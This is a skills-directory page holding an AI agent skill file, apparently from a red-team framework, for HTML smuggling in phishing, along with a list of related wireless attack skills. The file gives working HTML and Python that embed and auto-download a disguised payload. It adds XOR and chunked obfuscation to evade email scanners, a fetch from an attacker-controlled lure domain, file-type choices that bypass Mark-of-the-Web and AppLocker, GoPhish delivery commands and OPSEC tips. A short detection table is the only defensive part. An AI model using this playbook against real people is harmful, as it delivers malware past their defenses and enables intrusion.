[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M78HWXGQWMVRZ91HBYC30JTJ":3,"skill-same:01M78HWXGQWMVRZ91HBYC30JTJ":55},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":18,"linkOnly":19,"markdownContent":20,"markdownBody":21,"frontMatter":22,"refName":35,"commitSha":36,"skillDirectory":37,"forksCount":13,"repositoryHtmlUrl":38,"repositoryHomepageUrl":6,"ownerHtmlUrl":39,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":40,"install":41,"resources":54},"01M78HWXGQWMVRZ91HBYC30JTJ","html-smuggling-lure",null,"HTML smuggling payloads for initial access — embed base64-encoded binaries inside an HTML attachment that reconstructs and auto-downloads the file client-side via JavaScript Blob, bypassing email gateway and proxy file-type inspection.","dnzengou\u002Fevo-decepticon","dnzengou","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F7807581?v=4","01M75KKJA3F5ZP7CA10MB2AEXC","01M78GP0FED2V1CDPB1N6G0CTH",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fphisher\u002Fhtml-smuggling-lure\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: html-smuggling-lure\ndescription: \"HTML smuggling payloads for initial access — embed base64-encoded binaries inside an HTML attachment that reconstructs and auto-downloads the file client-side via JavaScript Blob, bypassing email gateway and proxy file-type inspection.\"\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: phishing\n  when_to_use: \"html smuggling blob javascript base64 iso zip msi initial access email attachment bypass gateway proxy file download t1027.006\"\n  mitre_attack:\n    - T1027.006\n    - T1566.001\n    - T1204.002\n  tags:\n    - phishing\n    - html-smuggling\n    - initial-access\n    - evasion\n---\n\n# HTML Smuggling Lure\n\nHTML smuggling abuses the browser's ability to construct files from\nJavaScript — a base64-encoded payload is embedded directly in an HTML\nemail attachment or link. When opened, JavaScript decodes the blob,\ncreates an `\u003Ca>` element with a `blob:` URL, and triggers a download.\nThe payload never transits the wire as a detectable file type, so email\ngateways and web proxies that inspect MIME types see only `text\u002Fhtml`.\n\nNobelium (SolarWinds), Qakbot, and IcedID campaigns have used this\ntechnique extensively since 2021.\n\n## Prerequisites\n\n- A compiled payload (ISO, ZIP, MSI, IMG, or VHD) ready for delivery.\n- GoPhish or direct SMTP for delivery (`gophish-campaign`).\n- The `lure-deconfliction` handshake COMPLETE.\n\n## Quick Reference\n\n```bash\n# Encode payload to base64\nbase64 -w0 \u002Fworkspace\u002Fpayload.iso > \u002Fworkspace\u002Fpayload.b64\n\n# Generate the HTML smuggling page\npython3 \u002Fworkspace\u002Fgen_smuggle.py \\\n  --payload \u002Fworkspace\u002Fpayload.b64 \\\n  --filename \"Report.iso\" \\\n  --mimetype \"application\u002Foctet-stream\" \\\n  --output \u002Fworkspace\u002Fsmuggle.html\n\n# Deliver via GoPhish as an attachment\ncurl -sk -H \"Authorization: Bearer $GOPHISH_API_KEY\" \\\n  -H 'Content-Type: application\u002Fjson' \\\n  \"$GOPHISH_API\u002Ftemplates\u002F\" -d @\u002Fworkspace\u002Fsmuggle_template.json\n```\n\n## MITRE ATT&CK Mapping\n\n| Technique | ID | Usage |\n|---|---|---|\n| Obfuscated Files: HTML Smuggling | T1027.006 | Payload reconstructed client-side from JS blob |\n| Phishing: Spearphishing Attachment | T1566.001 | HTML file delivered as email attachment |\n| User Execution: Malicious File | T1204.002 | Victim opens HTML, browser downloads payload |\n\n## 1. Basic HTML Smuggling Template\n\nMinimal self-contained HTML that decodes a base64 payload and triggers\ndownload:\n\n```html\n\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\u003Ctitle>Secure Document\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Cp>Your document is downloading...\u003C\u002Fp>\n\u003Cscript>\n\u002F\u002F Base64 payload — replace with actual encoded content\nvar b64 = \"\u003CBASE64_PAYLOAD>\";\nvar fname = \"\u003CFILENAME>\";    \u002F\u002F e.g. \"Report.iso\"\nvar mtype = \"application\u002Foctet-stream\";\n\nvar bytes = atob(b64);\nvar arr = new Uint8Array(bytes.length);\nfor (var i = 0; i \u003C bytes.length; i++) arr[i] = bytes.charCodeAt(i);\n\nvar blob = new Blob([arr], {type: mtype});\nvar a = document.createElement(\"a\");\na.href = URL.createObjectURL(blob);\na.download = fname;\ndocument.body.appendChild(a);\na.click();\ndocument.body.removeChild(a);\nURL.revokeObjectURL(a.href);\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n## 2. Generator Script\n\nAutomate HTML smuggling page creation with theming:\n\n```python\nimport base64\nimport sys\n\nTEMPLATE = '''\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n\u003Ctitle>{title}\u003C\u002Ftitle>\n\u003Cstyle>\nbody {{ font-family: Segoe UI, sans-serif; display: flex;\n  justify-content: center; align-items: center; height: 100vh;\n  background: #f5f5f5; }}\n.card {{ background: #fff; padding: 40px; border-radius: 4px;\n  box-shadow: 0 2px 8px rgba(0,0,0,.15); text-align: center; }}\n.spinner {{ border: 4px solid #eee; border-top: 4px solid #0078d4;\n  border-radius: 50%; width: 40px; height: 40px;\n  animation: spin 1s linear infinite; margin: 20px auto; }}\n@keyframes spin {{ to {{ transform: rotate(360deg); }} }}\n\u003C\u002Fstyle>\n\u003C\u002Fhead>\n\u003Cbody>\n\u003Cdiv class=\"card\">\n  \u003Ch2>Opening Secure Document\u003C\u002Fh2>\n  \u003Cdiv class=\"spinner\">\u003C\u002Fdiv>\n  \u003Cp>If the download does not start, \u003Ca id=\"dl\" href=\"#\">click here\u003C\u002Fa>.\u003C\u002Fp>\n\u003C\u002Fdiv>\n\u003Cscript>\n(function() {{\n  var d = \"{b64data}\";\n  var n = \"{filename}\";\n  var b = atob(d);\n  var u = new Uint8Array(b.length);\n  for (var i = 0; i \u003C b.length; i++) u[i] = b.charCodeAt(i);\n  var bl = new Blob([u], {{type: \"application\u002Foctet-stream\"}});\n  var url = URL.createObjectURL(bl);\n  var a = document.getElementById(\"dl\");\n  a.href = url; a.download = n;\n  var t = document.createElement(\"a\");\n  t.href = url; t.download = n;\n  document.body.appendChild(t); t.click();\n  document.body.removeChild(t);\n}})();\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>'''\n\ndef generate(payload_path, filename, title, output):\n    with open(payload_path, \"rb\") as f:\n        b64 = base64.b64encode(f.read()).decode()\n    html = TEMPLATE.format(\n        title=title, b64data=b64,\n        filename=filename)\n    with open(output, \"w\") as f:\n        f.write(html)\n    print(f\"[+] Smuggle page written to {output} ({len(b64)} bytes encoded)\")\n\n# Usage: generate(\"\u002Fworkspace\u002Fpayload.iso\", \"Report.iso\",\n#                 \"Secure Document Portal\", \"\u002Fworkspace\u002Fsmuggle.html\")\n```\n\n## 3. Obfuscation Layers\n\nBasic base64 is trivially detected by static analysis. Layer\nobfuscation to evade email gateway JavaScript scanners:\n\n### 3a. XOR + base64\n\n```javascript\n\u002F\u002F Encode: XOR each byte with key, then base64\nfunction xorEncode(data, key) {\n  var out = new Uint8Array(data.length);\n  for (var i = 0; i \u003C data.length; i++)\n    out[i] = data[i] ^ key.charCodeAt(i % key.length);\n  return btoa(String.fromCharCode.apply(null, out));\n}\n\n\u002F\u002F Decode at runtime\nfunction xorDecode(b64, key) {\n  var raw = atob(b64);\n  var out = new Uint8Array(raw.length);\n  for (var i = 0; i \u003C raw.length; i++)\n    out[i] = raw.charCodeAt(i) ^ key.charCodeAt(i % key.length);\n  return out;\n}\n```\n\n### 3b. Chunked Reassembly\n\nSplit the base64 into multiple JS string variables concatenated at\nruntime — defeats pattern-matching on large contiguous base64:\n\n```javascript\nvar p1 = \"AAAA...\"; \u002F\u002F chunk 1\nvar p2 = \"BBBB...\"; \u002F\u002F chunk 2\nvar p3 = \"CCCC...\"; \u002F\u002F chunk 3\nvar full = atob(p1 + p2 + p3);\n```\n\n### 3c. Fetch from External URL\n\nInstead of embedding the full blob, fetch it at runtime from an\nattacker-controlled server — the HTML itself is tiny and clean:\n\n```javascript\nfetch(\"https:\u002F\u002Fcdn.\u003CLURE_DOMAIN>\u002Fdoc\u002F\" + docId)\n  .then(r => r.blob())\n  .then(b => {\n    var a = document.createElement(\"a\");\n    a.href = URL.createObjectURL(b);\n    a.download = \"Report.iso\";\n    a.click();\n  });\n```\n\n## 4. Payload File Type Selection\n\n| File Type | Extension | Bypass | Notes |\n|---|---|---|---|\n| ISO \u002F IMG | `.iso` | Mark-of-the-Web bypass (pre-Win11 22H2) | Auto-mounts as virtual drive |\n| ZIP | `.zip` | Universally accepted | May be scanned; password-protect |\n| MSI | `.msi` | Signed MSI bypasses AppLocker default rules | Requires valid or stolen signature |\n| VHD \u002F VHDX | `.vhd` | MOTW bypass, auto-mounts on double-click | Less commonly blocked |\n| LNK inside ZIP | `.zip` → `.lnk` | LNK executes arbitrary commands | Windows only |\n\n## 5. Delivery via GoPhish\n\n```bash\n# Encode the HTML smuggling page for GoPhish attachment\nB64HTML=$(base64 -w0 \u002Fworkspace\u002Fsmuggle.html)\n\ncurl -sk -H \"Authorization: Bearer $GOPHISH_API_KEY\" \\\n  -H 'Content-Type: application\u002Fjson' \\\n  \"$GOPHISH_API\u002Ftemplates\u002F\" -d \"{\n    \\\"name\\\": \\\"secure-doc-delivery\\\",\n    \\\"subject\\\": \\\"Secure document from \u003CSENDER_NAME>\\\",\n    \\\"html\\\": \\\"\u003Cp>Hi {{.FirstName}},\u003C\u002Fp>\u003Cp>Please open the attached secure document.\u003C\u002Fp>\u003Cp style='color:#999;font-size:10px'>{{.Tracker}}\u003C\u002Fp>\\\",\n    \\\"attachments\\\": [{\n      \\\"name\\\": \\\"SecureDoc.html\\\",\n      \\\"content\\\": \\\"$B64HTML\\\",\n      \\\"type\\\": \\\"text\u002Fhtml\\\"\n    }]\n  }\"\n```\n\n## OPSEC\n\n- **HTML file name**: use business-relevant names (`SecureMessage.html`,\n  `Invoice_\u003CNUM>.html`). Avoid `payload.html`.\n- **No `text\u002Fhtml` block rules**: most orgs allow HTML attachments\n  (receipts, newsletters). Verify target policy first.\n- **Payload size**: base64 inflates by ~33%. Keep raw payloads \u003C5 MB\n  so the HTML stays under common attachment size limits (10-25 MB).\n- **Browser compatibility**: `Blob` + `createObjectURL` works in all\n  modern browsers. Test in Edge (corporate default).\n- Strip all development comments and source maps from production HTML.\n\n## Tools & Resources\n\n| Tool | Purpose |\n|---|---|\n| Python `base64` | Payload encoding |\n| GoPhish | Campaign delivery and tracking |\n| `msfvenom` | Payload generation (MSI, EXE, DLL) |\n| `mkisofs` \u002F `genisoimage` | ISO image creation |\n| `qemu-img` | VHD\u002FVHDX creation |\n\n## Detection Signatures\n\n| Detection | Source | Description |\n|---|---|---|\n| HTML attachment with `Blob` \u002F `createObjectURL` | Email gateway JS analysis | Static scan for smuggling patterns |\n| Large base64 string in HTML | Content inspection | Entropy analysis on HTML attachments |\n| `atob()` + `Uint8Array` pattern | YARA \u002F Sigma | Known smuggling JS idiom |\n| ISO\u002FVHD download from `blob:` URL | EDR (browser child process) | File materialised from browser without network fetch |\n\n## Error Handling & Edge Cases\n\n- **Browser blocks download**: Chrome may block `blob:` downloads from\n  file:\u002F\u002F context. Deliver as email attachment (opened via webmail) or\n  host on the lure domain.\n- **Email gateway strips HTML attachments**: fallback to a link pointing\n  at the HTML smuggling page hosted on the lure domain.\n- **Mark-of-the-Web on ISO**: Windows 11 22H2+ propagates MOTW into\n  ISO contents. Switch to password-protected ZIP or VHD.\n- **Large payload truncation**: if the HTML exceeds the email size\n  limit, use the external-fetch variant (§3c).\n\n## Decision Gate\n\n```\nIF target email gateway performs JavaScript analysis on HTML attachments\n  → use external-fetch variant (§3c) with clean HTML\n  → OR deliver via hosted link instead of attachment\nELIF target enforces MOTW on ISO files (Win11 22H2+)\n  → use password-protected ZIP or VHD as payload container\nELIF payload is >5 MB\n  → use external-fetch variant to keep HTML attachment small\nELIF engagement requires offline delivery (no C2 callback during download)\n  → embed full payload inline with XOR obfuscation (§3a)\nELSE\n  → standard inline base64 smuggling with chunked reassembly (§3b)\n```\n\n## Evidence\n\nDelivery confirmation from GoPhish → link to `User` node.\nIf the smuggled payload calls back, record the initial-access vector as\n`html-smuggling` in the kill-chain node. Save the HTML template hash\nunder `evidence\u002Fphisher\u002F\u003Ccampaign>-smuggle.json`.\n","# HTML Smuggling Lure\n\nHTML smuggling abuses the browser's ability to construct files from\nJavaScript — a base64-encoded payload is embedded directly in an HTML\nemail attachment or link. When opened, JavaScript decodes the blob,\ncreates an `\u003Ca>` element with a `blob:` URL, and triggers a download.\nThe payload never transits the wire as a detectable file type, so email\ngateways and web proxies that inspect MIME types see only `text\u002Fhtml`.\n\nNobelium (SolarWinds), Qakbot, and IcedID campaigns have used this\ntechnique extensively since 2021.\n\n## Prerequisites\n\n- A compiled payload (ISO, ZIP, MSI, IMG, or VHD) ready for delivery.\n- GoPhish or direct SMTP for delivery (`gophish-campaign`).\n- The `lure-deconfliction` handshake COMPLETE.\n\n## Quick Reference\n\n```bash\n# Encode payload to base64\nbase64 -w0 \u002Fworkspace\u002Fpayload.iso > \u002Fworkspace\u002Fpayload.b64\n\n# Generate the HTML smuggling page\npython3 \u002Fworkspace\u002Fgen_smuggle.py \\\n  --payload \u002Fworkspace\u002Fpayload.b64 \\\n  --filename \"Report.iso\" \\\n  --mimetype \"application\u002Foctet-stream\" \\\n  --output \u002Fworkspace\u002Fsmuggle.html\n\n# Deliver via GoPhish as an attachment\ncurl -sk -H \"Authorization: Bearer $GOPHISH_API_KEY\" \\\n  -H 'Content-Type: application\u002Fjson' \\\n  \"$GOPHISH_API\u002Ftemplates\u002F\" -d @\u002Fworkspace\u002Fsmuggle_template.json\n```\n\n## MITRE ATT&CK Mapping\n\n| Technique | ID | Usage |\n|---|---|---|\n| Obfuscated Files: HTML Smuggling | T1027.006 | Payload reconstructed client-side from JS blob |\n| Phishing: Spearphishing Attachment | T1566.001 | HTML file delivered as email attachment |\n| User Execution: Malicious File | T1204.002 | Victim opens HTML, browser downloads payload |\n\n## 1. Basic HTML Smuggling Template\n\nMinimal self-contained HTML that decodes a base64 payload and triggers\ndownload:\n\n```html\n\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\u003Ctitle>Secure Document\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Cp>Your document is downloading...\u003C\u002Fp>\n\u003Cscript>\n\u002F\u002F Base64 payload — replace with actual encoded content\nvar b64 = \"\u003CBASE64_PAYLOAD>\";\nvar fname = \"\u003CFILENAME>\";    \u002F\u002F e.g. \"Report.iso\"\nvar mtype = \"application\u002Foctet-stream\";\n\nvar bytes = atob(b64);\nvar arr = new Uint8Array(bytes.length);\nfor (var i = 0; i \u003C bytes.length; i++) arr[i] = bytes.charCodeAt(i);\n\nvar blob = new Blob([arr], {type: mtype});\nvar a = document.createElement(\"a\");\na.href = URL.createObjectURL(blob);\na.download = fname;\ndocument.body.appendChild(a);\na.click();\ndocument.body.removeChild(a);\nURL.revokeObjectURL(a.href);\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n## 2. Generator Script\n\nAutomate HTML smuggling page creation with theming:\n\n```python\nimport base64\nimport sys\n\nTEMPLATE = '''\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n\u003Ctitle>{title}\u003C\u002Ftitle>\n\u003Cstyle>\nbody {{ font-family: Segoe UI, sans-serif; display: flex;\n  justify-content: center; align-items: center; height: 100vh;\n  background: #f5f5f5; }}\n.card {{ background: #fff; padding: 40px; border-radius: 4px;\n  box-shadow: 0 2px 8px rgba(0,0,0,.15); text-align: center; }}\n.spinner {{ border: 4px solid #eee; border-top: 4px solid #0078d4;\n  border-radius: 50%; width: 40px; height: 40px;\n  animation: spin 1s linear infinite; margin: 20px auto; }}\n@keyframes spin {{ to {{ transform: rotate(360deg); }} }}\n\u003C\u002Fstyle>\n\u003C\u002Fhead>\n\u003Cbody>\n\u003Cdiv class=\"card\">\n  \u003Ch2>Opening Secure Document\u003C\u002Fh2>\n  \u003Cdiv class=\"spinner\">\u003C\u002Fdiv>\n  \u003Cp>If the download does not start, \u003Ca id=\"dl\" href=\"#\">click here\u003C\u002Fa>.\u003C\u002Fp>\n\u003C\u002Fdiv>\n\u003Cscript>\n(function() {{\n  var d = \"{b64data}\";\n  var n = \"{filename}\";\n  var b = atob(d);\n  var u = new Uint8Array(b.length);\n  for (var i = 0; i \u003C b.length; i++) u[i] = b.charCodeAt(i);\n  var bl = new Blob([u], {{type: \"application\u002Foctet-stream\"}});\n  var url = URL.createObjectURL(bl);\n  var a = document.getElementById(\"dl\");\n  a.href = url; a.download = n;\n  var t = document.createElement(\"a\");\n  t.href = url; t.download = n;\n  document.body.appendChild(t); t.click();\n  document.body.removeChild(t);\n}})();\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>'''\n\ndef generate(payload_path, filename, title, output):\n    with open(payload_path, \"rb\") as f:\n        b64 = base64.b64encode(f.read()).decode()\n    html = TEMPLATE.format(\n        title=title, b64data=b64,\n        filename=filename)\n    with open(output, \"w\") as f:\n        f.write(html)\n    print(f\"[+] Smuggle page written to {output} ({len(b64)} bytes encoded)\")\n\n# Usage: generate(\"\u002Fworkspace\u002Fpayload.iso\", \"Report.iso\",\n#                 \"Secure Document Portal\", \"\u002Fworkspace\u002Fsmuggle.html\")\n```\n\n## 3. Obfuscation Layers\n\nBasic base64 is trivially detected by static analysis. Layer\nobfuscation to evade email gateway JavaScript scanners:\n\n### 3a. XOR + base64\n\n```javascript\n\u002F\u002F Encode: XOR each byte with key, then base64\nfunction xorEncode(data, key) {\n  var out = new Uint8Array(data.length);\n  for (var i = 0; i \u003C data.length; i++)\n    out[i] = data[i] ^ key.charCodeAt(i % key.length);\n  return btoa(String.fromCharCode.apply(null, out));\n}\n\n\u002F\u002F Decode at runtime\nfunction xorDecode(b64, key) {\n  var raw = atob(b64);\n  var out = new Uint8Array(raw.length);\n  for (var i = 0; i \u003C raw.length; i++)\n    out[i] = raw.charCodeAt(i) ^ key.charCodeAt(i % key.length);\n  return out;\n}\n```\n\n### 3b. Chunked Reassembly\n\nSplit the base64 into multiple JS string variables concatenated at\nruntime — defeats pattern-matching on large contiguous base64:\n\n```javascript\nvar p1 = \"AAAA...\"; \u002F\u002F chunk 1\nvar p2 = \"BBBB...\"; \u002F\u002F chunk 2\nvar p3 = \"CCCC...\"; \u002F\u002F chunk 3\nvar full = atob(p1 + p2 + p3);\n```\n\n### 3c. Fetch from External URL\n\nInstead of embedding the full blob, fetch it at runtime from an\nattacker-controlled server — the HTML itself is tiny and clean:\n\n```javascript\nfetch(\"https:\u002F\u002Fcdn.\u003CLURE_DOMAIN>\u002Fdoc\u002F\" + docId)\n  .then(r => r.blob())\n  .then(b => {\n    var a = document.createElement(\"a\");\n    a.href = URL.createObjectURL(b);\n    a.download = \"Report.iso\";\n    a.click();\n  });\n```\n\n## 4. Payload File Type Selection\n\n| File Type | Extension | Bypass | Notes |\n|---|---|---|---|\n| ISO \u002F IMG | `.iso` | Mark-of-the-Web bypass (pre-Win11 22H2) | Auto-mounts as virtual drive |\n| ZIP | `.zip` | Universally accepted | May be scanned; password-protect |\n| MSI | `.msi` | Signed MSI bypasses AppLocker default rules | Requires valid or stolen signature |\n| VHD \u002F VHDX | `.vhd` | MOTW bypass, auto-mounts on double-click | Less commonly blocked |\n| LNK inside ZIP | `.zip` → `.lnk` | LNK executes arbitrary commands | Windows only |\n\n## 5. Delivery via GoPhish\n\n```bash\n# Encode the HTML smuggling page for GoPhish attachment\nB64HTML=$(base64 -w0 \u002Fworkspace\u002Fsmuggle.html)\n\ncurl -sk -H \"Authorization: Bearer $GOPHISH_API_KEY\" \\\n  -H 'Content-Type: application\u002Fjson' \\\n  \"$GOPHISH_API\u002Ftemplates\u002F\" -d \"{\n    \\\"name\\\": \\\"secure-doc-delivery\\\",\n    \\\"subject\\\": \\\"Secure document from \u003CSENDER_NAME>\\\",\n    \\\"html\\\": \\\"\u003Cp>Hi {{.FirstName}},\u003C\u002Fp>\u003Cp>Please open the attached secure document.\u003C\u002Fp>\u003Cp style='color:#999;font-size:10px'>{{.Tracker}}\u003C\u002Fp>\\\",\n    \\\"attachments\\\": [{\n      \\\"name\\\": \\\"SecureDoc.html\\\",\n      \\\"content\\\": \\\"$B64HTML\\\",\n      \\\"type\\\": \\\"text\u002Fhtml\\\"\n    }]\n  }\"\n```\n\n## OPSEC\n\n- **HTML file name**: use business-relevant names (`SecureMessage.html`,\n  `Invoice_\u003CNUM>.html`). Avoid `payload.html`.\n- **No `text\u002Fhtml` block rules**: most orgs allow HTML attachments\n  (receipts, newsletters). Verify target policy first.\n- **Payload size**: base64 inflates by ~33%. Keep raw payloads \u003C5 MB\n  so the HTML stays under common attachment size limits (10-25 MB).\n- **Browser compatibility**: `Blob` + `createObjectURL` works in all\n  modern browsers. Test in Edge (corporate default).\n- Strip all development comments and source maps from production HTML.\n\n## Tools & Resources\n\n| Tool | Purpose |\n|---|---|\n| Python `base64` | Payload encoding |\n| GoPhish | Campaign delivery and tracking |\n| `msfvenom` | Payload generation (MSI, EXE, DLL) |\n| `mkisofs` \u002F `genisoimage` | ISO image creation |\n| `qemu-img` | VHD\u002FVHDX creation |\n\n## Detection Signatures\n\n| Detection | Source | Description |\n|---|---|---|\n| HTML attachment with `Blob` \u002F `createObjectURL` | Email gateway JS analysis | Static scan for smuggling patterns |\n| Large base64 string in HTML | Content inspection | Entropy analysis on HTML attachments |\n| `atob()` + `Uint8Array` pattern | YARA \u002F Sigma | Known smuggling JS idiom |\n| ISO\u002FVHD download from `blob:` URL | EDR (browser child process) | File materialised from browser without network fetch |\n\n## Error Handling & Edge Cases\n\n- **Browser blocks download**: Chrome may block `blob:` downloads from\n  file:\u002F\u002F context. Deliver as email attachment (opened via webmail) or\n  host on the lure domain.\n- **Email gateway strips HTML attachments**: fallback to a link pointing\n  at the HTML smuggling page hosted on the lure domain.\n- **Mark-of-the-Web on ISO**: Windows 11 22H2+ propagates MOTW into\n  ISO contents. Switch to password-protected ZIP or VHD.\n- **Large payload truncation**: if the HTML exceeds the email size\n  limit, use the external-fetch variant (§3c).\n\n## Decision Gate\n\n```\nIF target email gateway performs JavaScript analysis on HTML attachments\n  → use external-fetch variant (§3c) with clean HTML\n  → OR deliver via hosted link instead of attachment\nELIF target enforces MOTW on ISO files (Win11 22H2+)\n  → use password-protected ZIP or VHD as payload container\nELIF payload is >5 MB\n  → use external-fetch variant to keep HTML attachment small\nELIF engagement requires offline delivery (no C2 callback during download)\n  → embed full payload inline with XOR obfuscation (§3a)\nELSE\n  → standard inline base64 smuggling with chunked reassembly (§3b)\n```\n\n## Evidence\n\nDelivery confirmation from GoPhish → link to `User` node.\nIf the smuggled payload calls back, record the initial-access vector as\n`html-smuggling` in the kill-chain node. Save the HTML template hash\nunder `evidence\u002Fphisher\u002F\u003Ccampaign>-smuggle.json`.\n",{"name":5,"metadata":23,"description":7,"allowed-tools":34},{"tags":24,"subdomain":25,"when_to_use":29,"mitre_attack":30},[25,26,27,28],"phishing","html-smuggling","initial-access","evasion","html smuggling blob javascript base64 iso zip msi initial access email attachment bypass gateway proxy file download t1027.006",[31,32,33],"T1027.006","T1566.001","T1204.002","Bash Read Write","main","376de63e2b186eeb9856476ae89186e62b1d3fbe","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fphisher\u002Fhtml-smuggling-lure","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon","https:\u002F\u002Fgithub.com\u002Fdnzengou","2026-11-09 16:34:40",{"source":8,"skillName":5,"commands":42,"prompt":52,"zipAvailable":53},[43,46,49],{"tool":44,"command":45},"npx","npx skills add dnzengou\u002Fevo-decepticon --skill html-smuggling-lure",{"tool":47,"command":48},"bunx","bunx skills add dnzengou\u002Fevo-decepticon --skill html-smuggling-lure",{"tool":50,"command":51},"pnpm","pnpm dlx skills add dnzengou\u002Fevo-decepticon --skill html-smuggling-lure","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fphisher\u002Fhtml-smuggling-lure\u002FSKILL.md",true,[],[56,63,70,77,84,91],{"skillNo":57,"name":58,"nameZh":6,"description":59,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":60,"categories":61,"keywords":62,"publishedAt":18},"01M78JAX15GZR5Q5S7RMPWFX43","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":64,"name":65,"nameZh":6,"description":66,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":67,"categories":68,"keywords":69,"publishedAt":18},"01M78JARXE0ZER8P81SFD024YP","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":71,"name":72,"nameZh":6,"description":73,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":76,"publishedAt":18},"01M78JANJNH8VMR0CK1Y6AM74G","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":78,"name":79,"nameZh":6,"description":80,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":81,"categories":82,"keywords":83,"publishedAt":18},"01M78JAFCYR2BAJF7KH0ZCXREA","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":18},"01M78JAAQ5T08FR9MY5SFNRWBM","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":92,"name":93,"nameZh":6,"description":94,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":95,"categories":96,"keywords":97,"publishedAt":18},"01M78JA6799JQZE0M9B21HRMGY","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from 